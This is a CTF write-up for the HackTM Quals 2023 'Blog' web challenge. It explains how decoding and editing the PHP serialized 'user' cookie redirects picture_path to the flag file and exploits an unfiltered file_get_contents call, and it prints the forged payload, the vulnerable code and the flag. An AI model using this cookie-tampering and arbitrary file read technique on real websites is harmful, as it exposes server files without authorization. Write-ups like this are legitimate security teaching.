ctf-writeup/HackTM Quals 2023/Blog

Blog

We made a new blogging website for everyone to use! It's pretty basic for now,

and it has a few limitations like:

1. No comments
2. Semi-working authentication system
3. Lots of random checks slowing down the entire website honestly (i don't know what's going on so i'm not touching it)

To mitigate that, we made it such that only you can view your own posts. No one can hack us now >:)

(im not sure what kind of blog that is tho...)

About the Challenge

We are given a website and a source code (You can find the source code here)

How to Solve?

First we need to register and login to the website, and you will find dashboard page

After that, check the cookie. You will find a cookie named user and the cookies will be like this

Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhYWFhYSI7czoxMjoicGljdHVyZV9wYXRoIjtzOjI3OiJpbWFnZXMvcmVhbF9wcm9ncmFtbWVycy5wbmciO31zOjU6InBvc3RzIjthOjA6e319

If we decode the cookie using base64. We will get this value

O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:5:"aaaaa";s:12:"picture_path";s:27:"images/real_programmers.png";}s:5:"posts";a:0:{}}

Luckily there is a flag path in the Dockerfile file. Change the picture_path from images/real_programmers.png to /02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt.

O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:5:"aaaaa";s:12:"picture_path";s:46:"/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt";}s:5:"posts";a:0:{}}

And then encode using base64 and resend the request. You will retrieve the flag by checking img tag. That happen because of the code using file_get_contents function without any filter so we can read any files on the server

        if (gettype($this->picture_path) !== "string") {        
            return "<script>window.location = '/login.php'</script>";
        }

        $picture = base64_encode(file_get_contents($this->picture_path));

        // check if user exists
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select id from users where username = :username",
            array(":username" => $this->username)
        ));

HackTM{r3t__toString_1s_s0_fun_13c573f6}